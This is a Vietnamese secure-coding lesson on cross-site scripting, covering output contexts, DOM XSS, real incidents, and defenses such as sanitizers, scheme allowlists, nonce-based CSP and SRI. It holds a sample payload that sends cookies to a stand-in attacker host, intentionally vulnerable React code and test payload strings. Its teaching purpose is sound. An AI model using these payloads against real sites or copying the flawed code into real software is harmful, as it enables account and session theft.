SecLab
Client-sideĐầy đủ

Cross-site scripting (XSS)

V1A05CWE-79
01

Là gì

XSS là lỗi khi dữ liệu do người dùng kiểm soát được trình duyệt diễn giải thành CODE thay vì nội dung. Script của kẻ tấn công chạy trong origin của bạn, nên nó có mọi thứ mà JavaScript của bạn có: cookie không HttpOnly, token trong localStorage, và quyền gửi request đã kèm session của nạn nhân.

02

Vì sao bạn quan tâm

Mức liên quan: Bắt buộcKỳ vọng: L2

Điều làm XSS khó vá không phải là escape — mà là ngữ cảnh. Cùng một chuỗi cần bốn cách mã hoá khác nhau tuỳ nó nằm ở đâu: thân HTML, giá trị attribute, trong <script>, hay trong href. Một hàm escapeHtml() duy nhất dùng khắp nơi là bản vá đúng ở một ngữ cảnh và vô dụng ở ba ngữ cảnh còn lại.

Với framework hiện đại (React, Vue, Angular, Razor), XSS thân HTML gần như đã chết vì mặc định escape. Điều đó dịch chuyển toàn bộ rủi ro sang ba chỗ còn lại, và đó là ba chỗ bạn nên đi tìm:

  1. Cửa thoát khỏi framework: dangerouslySetInnerHTML, v-html, [innerHTML], @Html.Raw.
  2. DOM XSS: dữ liệu không đi qua server bao giờ, nên WAF và test server-side đều không thấy.
  3. href/src nhận javascript: — escape HTML không cứu được vì không có ký tự nào cần escape.

Về thiệt hại: XSS không dừng ở "đánh cắp cookie". Nó là thực thi code trong phiên của nạn nhân, nghĩa là nó làm được mọi thao tác nạn nhân làm được — đổi email, thêm khoá API, chuyển tiền — và làm được ngay cả khi cookie là HttpOnly + SameSite, vì script không cần đọc cookie để gửi request kèm nó.

03

Cơ chế hoạt động

Ba loại khác nhau ở chỗ payload ĐI QUA đâu, và điều đó quyết định bạn tìm nó ở đâu.

Nguồn sơ đồ
flowchart LR    subgraph S["Stored — nguy hiểm nhất"]        direction LR        A1[Kẻ tấn công POST comment] --> D[(DB)]        D --> V1[Mọi người xem trang]    end    subgraph R["Reflected"]        direction LR        A2[Link chứa payload] --> Sv[Server phản chiếu vào HTML]        Sv --> V2[Nạn nhân bấm link]    end    subgraph DM["DOM — server không thấy"]        direction LR        A3["Link có #fragment"] --> B["JS trên trang đọc<br/>location.hash → innerHTML"]        B --> V3[Nạn nhân bấm link]    end

DOM XSS đáng chú ý riêng: #fragment không bao giờ được gửi tới server. Không có dòng log nào, không có WAF nào thấy nó, và không có integration test server-side nào bắt được nó.

Bốn ngữ cảnh, bốn cách mã hoá — đây là bảng quan trọng nhất của trang:

Ngữ cảnhPayload thoát ra bằngMã hoá đúng
Thân HTML <p>HERE</p><script>&lt; &gt; &amp;
Attribute value="HERE"" onmouseover=HTML-encode và luôn có dấu ngoặc kép
Trong <script></script> hoặc \JSON-encode, và <\u003c
URL href="HERE"javascript:alert(1)Kiểm scheme — escape HTML không giúp gì

Hàng cuối là hàng bị bỏ sót nhiều nhất: javascript:alert(1) không chứa một ký tự nào mà HTML escaping quan tâm.

Mô tả sơ đồ: Sơ đồ ba nhóm cho ba loại XSS. Stored: kẻ tấn công POST một comment, payload nằm trong cơ sở dữ liệu và chạy với mọi người xem trang. Reflected: kẻ tấn công gửi một link chứa payload, server phản chiếu nó vào HTML, nạn nhân bấm link. DOM: link chứa fragment, JavaScript trên trang đọc location.hash rồi ghi vào innerHTML — fragment không bao giờ tới server nên server không thấy gì.

04

Ví dụ cụ thể

Một trang profile hiển thị tên người dùng ở hai chỗ và một link "website cá nhân". Ba ngữ cảnh, ba payload khác nhau, cùng một trường dữ liệu.

HTTP
PATCH /api/profile HTTP/1.1Content-Type: application/json {"displayName":"<img src=x onerror=fetch('https://evil.example/?c='+document.cookie)>", "website":"javascript:fetch('/api/keys',{method:'POST'})"}

HTML sinh ra bởi bản lỗi:

html
<h1><img src=x onerror=fetch('https://evil.example/?c='+document.cookie)></h1><input value="" onmouseover="alert(1)" x=""><a href="javascript:fetch('/api/keys',{method:'POST'})">website</a><script>var user = {"name":"</script><script>alert(1)</script>"};</script>

Bốn dòng, bốn ngữ cảnh, và một hàm escape duy nhất chỉ sửa được dòng đầu. Đó là toàn bộ lập luận của khối 6.

TypeScriptBa lỗi ở ba ngữ cảnh khác nhau trong cùng một component React đã escape mặc định.
export function Profile({ user }: { user: User }) {  return (    <>      {/* React escape chỗ này đúng. Đây là 95% và nó không phải vấn đề. */}      <h2>{user.displayName}</h2>       {/* ❌ 1 — cửa thoát. "bio hỗ trợ markdown" là lý do nó luôn xuất hiện. */}      <div dangerouslySetInnerHTML={{ __html: user.bioHtml }} />       {/* ❌ 2 — href không được kiểm scheme. React KHÔNG kiểm chỗ này, và          javascript:… không chứa ký tự nào mà HTML-escaping quan tâm. */}      <a href={user.website}>website</a>       {/* ❌ 3 — DOM XSS. location.hash không bao giờ tới server, nên không có          log, không có WAF, không có integration test nào thấy nó. */}      <div ref={(el) => el && (el.innerHTML = decodeURIComponent(location.hash.slice(1)))} />    </>  );}
05

Chuyện đã xảy ra

British Airways, tháng 8–9/2018 — 429.612 khách hàng, phạt £20 triệu. Magecart chèn 22 dòng JavaScript đã sửa vào một file modernizr được host trên site của BA. Script bắt dữ liệu form thanh toán khi người dùng bấm submit và gửi sang baways.com. Báo cáo của ICO chỉ ra hai điều quan trọng: BA không có kiểm tra tính toàn vẹn của file JS, và không phát hiện được trong 15 ngày. Đây là lý do khối 6 có lớp CSP và SRI — chúng là hai thứ duy nhất trong danh sách phát hiện được kiểu tấn công này.

Samy (MySpace), tháng 10/2005 — hơn 1 triệu profile trong 20 giờ. Stored XSS trong phần CSS của profile, tự nhân bản khi có người xem. Đáng đọc vì nó cho thấy stored XSS lan theo hàm số mũ: mỗi nạn nhân trở thành nguồn lây tiếp.

06

Cách phòng chống

Lớp 1

Mã hoá theo NGỮ CẢNH, do template engine làm

bắt buộc

Nguyên tắc: không tự escape bằng tay. Dùng framework escape theo mặc định (React {}, Razor @, Vue {{ }}) và để nó biết nó đang ở ngữ cảnh nào. Escape bằng tay thất bại vì người viết phải nhớ đúng ngữ cảnh ở mọi chỗ, mãi mãi.

Ba trường hợp framework KHÔNG lo được, và cách lo:

  • Cửa thoát (dangerouslySetInnerHTML, v-html, @Html.Raw): nếu thật sự cần HTML từ người dùng thì đi qua sanitizer allowlist — DOMPurify ở client, Ganss.Xss ở .NET. Không tự viết sanitizer; đây là bài toán mà mọi bản tự viết đều thua.
  • URL trong href/src: kiểm scheme trước khi render. Chỉ http, https, mailto. Đây là kiểm mà HTML-encoding không thay được.
  • Dữ liệu nhúng vào <script>: đừng nhúng. Dùng <script type="application/json"> rồi JSON.parse — hoặc nếu buộc phải nhúng thì JSON-encode và escape < thành \u003c.
TypeScript · Layer 1Ba ngữ cảnh, ba bản vá khác nhau: sanitizer allowlist, kiểm scheme, và textContent.
import DOMPurify from "dompurify"; /** * Kiểm SCHEME, không escape. Đây là chỗ mà HTML-encoding không thay thế được: * "javascript:alert(1)" không chứa <, >, & hay dấu nháy nào, nên mọi hàm escape * đều cho nó đi qua nguyên vẹn. * * Allowlist ba scheme. "data:" KHÔNG có trong danh sách: data:text/html,<script>… * là XSS đầy đủ, và "vbscript:" thì vẫn còn sống trong một số WebView. */const SAFE_SCHEMES = new Set(["http:", "https:", "mailto:"]); function safeHref(raw: string | null | undefined): string | undefined {  if (!raw) return undefined;  try {    // Base tuỳ ý để URL tương đối vẫn parse được; ta chỉ quan tâm protocol.    const url = new URL(raw, "https://placeholder.invalid");    return SAFE_SCHEMES.has(url.protocol) ? raw : undefined;  } catch {    return undefined;   // không parse được thì không render — không "cứ thử xem".  }} export function Profile({ user }: { user: User }) {  // Sanitize lúc RENDER, không lúc lưu: cùng một dữ liệu có thể được render ở  // ngữ cảnh khác về sau, và dữ liệu vào DB từ import/job/admin không đi qua  // sanitizer nào cả.  const bio = DOMPurify.sanitize(user.bioHtml, {    ALLOWED_TAGS: ["p", "br", "strong", "em", "ul", "ol", "li", "a", "code"],    ALLOWED_ATTR: ["href"],    ALLOWED_URI_REGEXP: /^https?:\/\//i,  });   const href = safeHref(user.website);   return (    <>      <h2>{user.displayName}</h2>       <div dangerouslySetInnerHTML={{ __html: bio }} />       {/* Không có href an toàn thì render text, không render link chết. */}      {href ? <a href={href} rel="noopener noreferrer">website</a> : <span>{user.website}</span>}       {/* DOM XSS: textContent thay innerHTML. Trình duyệt không parse HTML từ          textContent, nên không có ngữ cảnh nào để thoát ra. */}      <div ref={(el) => el && (el.textContent = decodeURIComponent(location.hash.slice(1)))} />    </>  );}
Lớp 2

CSP, và nó phải là loại nonce/hash

script-src 'self' gần như vô dụng vì kẻ tấn công chèn được <script src="/uploads/x.js">. CSP đáng tiền là dạng:

Content-Security-Policy: script-src 'nonce-{random}' 'strict-dynamic'; object-src 'none'; base-uri 'none'

'strict-dynamic' cho phép script đã tin cậy nạp thêm script, nên nó sống được với bundler thật. base-uri 'none' chặn <base> injection — một chi tiết bị bỏ sót ở gần như mọi CSP thực tế. CSP không vá XSS; nó chuyển "chạy được code" thành "chèn được HTML mà không chạy được".

C# · Layer 2Lớp 2: CSP nonce + strict-dynamic. Sinh nonce mỗi request, không dùng lại.
/// <summary>/// CSP dạng nonce. Ba quyết định ở đây đều là chỗ CSP thực tế hay làm sai://////   • nonce sinh MỖI REQUEST. Nonce dùng lại là nonce mà kẻ tấn công đọc được từ///     một response trước rồi dùng cho payload của mình.///   • KHÔNG có 'unsafe-inline'. Đặt cùng nonce thì trình duyệt cũ dùng///     unsafe-inline và bỏ nonce — nonce thành trang trí.///   • base-uri 'none'. Bị bỏ sót ở gần như mọi CSP thật: thiếu nó, một///     <base href="https://evil"> chèn được sẽ đổi đích của mọi URL tương đối./// </summary>public sealed class CspMiddleware{    private readonly RequestDelegate _next;     public CspMiddleware(RequestDelegate next) => _next = next;     public async Task InvokeAsync(HttpContext ctx)    {        var nonce = Convert.ToBase64String(RandomNumberGenerator.GetBytes(16));        ctx.Items["csp-nonce"] = nonce;   // Razor đọc lại: <script nonce="@nonce">         ctx.Response.Headers["Content-Security-Policy"] = string.Join("; ",        [            "default-src 'self'",            // 'strict-dynamic' cho script đã tin cậy nạp thêm script — không có nó            // thì mọi bundler chia chunk động đều vỡ, và người ta sẽ tắt CSP.            $"script-src 'nonce-{nonce}' 'strict-dynamic' https:",            "style-src 'self' 'unsafe-inline'",   // CSS inline không chạy được code            "img-src 'self' data: https:",            "connect-src 'self'",            "object-src 'none'",                  // chặn <object>/<embed> Flash-era            "base-uri 'none'",                    // chặn <base> injection            "frame-ancestors 'none'",             // clickjacking, cùng một header            "form-action 'self'",                 // chặn đổi đích của form đã chèn            "require-trusted-types-for 'script'", // chặn cả họ DOM XSS ở tầng API            "report-uri /api/csp-report",         // thứ DUY NHẤT cho biết đang bị thử        ]);         await _next(ctx);    }}
Lớp 2b

SRI cho mọi script bên thứ ba

integrity="sha384-…" là biện pháp trực tiếp cho kiểu tấn công British Airways. Không có nó, một file JS bị sửa là một file JS được chạy.

Lớp 3

Giảm giá trị của một lần XSS thành công

Cookie HttpOnly + SameSite=Lax + Secure. Không để token trong localStorage — nó đọc được bằng một dòng JS, còn cookie HttpOnly thì không. Đây là lớp 3 vì nó không chặn XSS: script vẫn gửi được request kèm cookie. Nó chỉ giới hạn thiệt hại.

07

Kiểm chứng đã vá

1. Test theo NGỮ CẢNH, không theo payload. Test một payload <script>alert(1)</script> ở thân HTML không nói gì về ba ngữ cảnh còn lại. Test phải render cùng một chuỗi độc hại vào cả bốn vị trí và khẳng định đầu ra ở mỗi vị trí. Xem tab typescript / test.

2. Grep cửa thoát, chặn merge — phép kiểm có tỉ lệ hiệu quả cao nhất:

Shell
grep -rnE 'dangerouslySetInnerHTML|v-html|\[innerHTML\]|Html\.Raw|\.innerHTML *=' \  --include='*.tsx' --include='*.vue' --include='*.cshtml' --include='*.ts' src/ \  | grep -v 'sanitize\|DOMPurify' \  && { echo "Cửa thoát HTML không qua sanitizer — chặn"; exit 1; }exit 0

3. Kiểm CSP đang thực sự phục vụ, và đúng loại:

Shell
H=$(curl -sI https://app.example.com/ | tr -d '\r')echo "$H" | grep -qi "content-security-policy:.*nonce-" \  || { echo "CSP thiếu hoặc không dùng nonce"; exit 1; }echo "$H" | grep -qi "unsafe-inline" \  && { echo "CSP có unsafe-inline — nonce trở thành vô nghĩa"; exit 1; }echo "$H" | grep -qi "base-uri" || echo "CẢNH BÁO: thiếu base-uri"

unsafe-inline cùng với nonce là sai lầm phổ biến nhất: trình duyệt cũ dùng unsafe-inline và bỏ nonce.

4. Kiểm SRI trên mọi script bên ngoài:

Shell
curl -s https://app.example.com/ \  | grep -oE '<script[^>]+src="https?://[^"]+"[^>]*>' \  | grep -v integrity= \  && { echo "Có script bên ngoài không có SRI"; exit 1; }exit 0

5. Bật report-to trên CSP và theo dõi. Một report bất thường là dấu hiệu XSS đang bị thử — đây là thứ duy nhất trong danh sách cho bạn biết trong lúc nó đang xảy ra, và là thứ BA không có trong 15 ngày.

TypeScriptTest theo NGỮ CẢNH: cùng một payload render vào bốn vị trí, khẳng định riêng từng vị trí.
import { render } from "@testing-library/react"; /** * Cấu trúc của bộ test này là điểm chính, không phải các payload: * cùng MỘT chuỗi độc hại được render vào BỐN ngữ cảnh, và mỗi ngữ cảnh có một * khẳng định riêng. Test một payload ở thân HTML rồi kết luận "đã vá XSS" là * cách mà ba ngữ cảnh còn lại lọt qua. */describe("Profile — mã hoá theo ngữ cảnh", () => {  const PAYLOADS = {    htmlBody: '<img src=x onerror="window.__pwned=1">',    attribute: '" onmouseover="window.__pwned=1" x="',    scriptCtx: '</script><script>window.__pwned=1</script>',    urlScheme: 'javascript:window.__pwned=1',  };   beforeEach(() => { delete (window as any).__pwned; });   it("thân HTML: tag nguy hiểm bị sanitizer loại bỏ", () => {    const { container } = render(<Profile user={u({ bioHtml: PAYLOADS.htmlBody })} />);     expect(container.querySelector("img")).toBeNull();    expect(container.innerHTML).not.toContain("onerror");  });   it("href: scheme javascript: không được render", () => {    const { container } = render(<Profile user={u({ website: PAYLOADS.urlScheme })} />);     const a = container.querySelector("a");    // Không có <a> nào, hoặc có mà href không phải javascript: — cả hai đều đạt.    expect(a?.getAttribute("href") ?? "").not.toMatch(/^javascript:/i);    expect((window as any).__pwned).toBeUndefined();  });   it("attribute: dấu nháy không thoát ra được", () => {    const { container } = render(<Profile user={u({ displayName: PAYLOADS.attribute })} />);     expect(container.querySelector("[onmouseover]")).toBeNull();  });   /**   * DOM XSS. Chỉ test này chạm tới được nó, vì fragment không bao giờ đi tới   * server — nên không có test server-side nào thấy nó.   */  it("fragment: hash được ghi bằng textContent, không phải innerHTML", () => {    window.location.hash = "#" + encodeURIComponent(PAYLOADS.htmlBody);     const { container } = render(<Profile user={u({})} />);     expect(container.querySelector("img")).toBeNull();    // Chuỗi vẫn hiện ra — dưới dạng CHỮ, đó mới là đúng.    expect(container.textContent).toContain("<img src=x");  });});
08

Sai lầm thường gặp

"Bản vá"Vì sao không đúng
Một hàm escapeHtml() dùng khắp nơiĐúng ở thân HTML, vô dụng trong <script>, và không thấy javascript: trong href
Xoá <script> khỏi input<img onerror=>, <svg onload=>, <iframe srcdoc=>, <body onpageshow=> — danh sách này không kết thúc
Sanitize lúc LƯU, không lúc RENDERCùng một dữ liệu sau đó được render ở ngữ cảnh khác. Và dữ liệu vào DB từ một đường khác (import, job, admin) thì không qua sanitizer nào
Tự viết sanitizer HTMLĐây là bài toán mà mọi bản tự viết đều thua. mXSS qua namespace confusion là ví dụ: <svg><style><img src=x onerror=…>
encodeURIComponent cho hrefNó mã hoá đường dẫn, không kiểm scheme. javascript:alert(1) đi qua nguyên vẹn
CSP script-src 'self'Kẻ tấn công chèn <script src="/uploads/avatar.js">, hoặc lợi dụng một JSONP endpoint cùng origin
CSP có cả nonce và unsafe-inlineTrình duyệt cũ dùng unsafe-inline; nonce trở thành trang trí
HttpOnly nên "XSS không sao"Script vẫn gửi được request kèm cookie đó. Nó không cần đọc cookie để dùng cookie

Sai lầm về loại: chỉ test reflected XSS. DOM XSS không đi qua server, nên toàn bộ test suite server-side và WAF đều mù với nó. Nó cần test ở trình duyệt thật.

Sai lầm về niềm tin: "React tự escape nên chúng ta an toàn". React escape thân HTML. Nó không kiểm href={userUrl} — và javascript: trong href là XSS đầy đủ trong một app React sạch sẽ.

09

Nguồn tham khảo

Bậc 1A03:2021 – Injection (XSS) · OWASP · Top 10 · 2021
Bậc 1Content Security Policy Level 3 · W3C · Working Draft · CSP3
Bậc 1Subresource Integrity · W3C · Recommendation · SRI 1
Bậc 2Cross-site scripting · PortSwigger · Web Security Academy
Bậc 2Cross Site Scripting Prevention Cheat Sheet · OWASP · Cheat Sheet Series
Bậc 2DOM based XSS Prevention Cheat Sheet · OWASP · Cheat Sheet Series
Nằm trong lộ trình
Secure Backend DeveloperXem lộ trình

Bình luận

Tham gia thảo luận
Đăng ký để bình luận

Bình luận cần tài khoản đã hoàn thành ít nhất một bài học. Điều kiện đó là thứ giữ cho luồng thảo luận này còn đáng đọc: mỗi ý kiến gắn với một người có thể bị hỏi lại, và reputation tích luỹ theo thời gian.

Đăng kýĐăng nhập

Bạn vẫn đọc được toàn bộ bình luận dưới đây mà không cần tài khoản. Đăng nhập xong bạn sẽ quay lại đúng chỗ này, không phải đầu trang.

Đang tải bình luận…